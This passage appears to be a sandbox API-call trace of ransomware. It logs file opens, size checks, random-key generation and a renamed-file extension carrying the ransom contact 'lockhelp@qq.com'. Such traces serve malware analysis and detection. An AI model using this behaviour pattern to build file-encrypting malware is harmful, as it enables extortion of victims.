dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.672] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.672] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.673] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2211) returned 1 [0273.673] CloseHandle (hObject=0x37c) returned 1 [0273.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png")) returned 0x20 [0273.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.673] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.673] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.673] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.674] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1551) returned 1 [0273.674] CloseHandle (hObject=0x37c) returned 1 [0273.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png")) returned 0x20 [0273.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.674] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.674] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.674] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.674] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=19477) returned 1 [0273.674] CloseHandle (hObject=0x37c) returned 1 [0273.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png")) returned 0x20 [0273.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.675] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.675] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.675] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.675] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=52251) returned 1 [0273.675] CloseHandle (hObject=0x37c) returned 1 [0273.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png")) returned 0x20 [0273.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.675] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.675] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.675] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.676] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=181298) returned 1 [0273.676] CloseHandle (hObject=0x37c) returned 1 [0273.676] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv")) returned 0x20 [0273.676] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.676] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.677] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.677] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.677] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=181322) returned 1 [0273.677] CloseHandle (hObject=0x37c) returned 1 [0273.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv")) returned 0x20 [0273.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.677] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.677] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.677] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.677] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=237298) returned 1 [0273.677] CloseHandle (hObject=0x37c) returned 1 [0273.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv")) returned 0x20 [0273.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.678] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.678] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.678] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.678] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=269322) returned 1 [0273.678] CloseHandle (hObject=0x37c) returned 1 [0273.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv")) returned 0x20 [0273.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.678] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.678] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.678] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.679] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3525) returned 1 [0273.679] CloseHandle (hObject=0x37c) returned 1 [0273.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png")) returned 0x20 [0273.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.679] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.680] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3580) returned 1 [0273.680] CloseHandle (hObject=0x37c) returned 1 [0273.680] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png")) returned 0x20 [0273.680] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.680] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.680] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.680] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.680] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3595) returned 1 [0273.680] CloseHandle (hObject=0x37c) returned 1 [0273.680] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png")) returned 0x20 [0273.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.681] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.681] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.681] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.681] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1885) returned 1 [0273.681] CloseHandle (hObject=0x37c) returned 1 [0273.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png")) returned 0x20 [0273.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.682] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.682] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.682] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.683] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1375) returned 1 [0273.683] CloseHandle (hObject=0x37c) returned 1 [0273.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png")) returned 0x20 [0273.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.683] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.683] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.683] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.683] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=581394) returned 1 [0273.683] CloseHandle (hObject=0x37c) returned 1 [0273.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png")) returned 0x20 [0273.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.683] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.684] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.684] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.684] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=49904) returned 1 [0273.684] CloseHandle (hObject=0x37c) returned 1 [0273.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png")) returned 0x20 [0273.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.684] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.684] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.684] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.684] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=47300) returned 1 [0273.684] CloseHandle (hObject=0x37c) returned 1 [0273.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png")) returned 0x20 [0273.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.685] CreateFileW (lpFileName="\\\\?\\C:\\Program 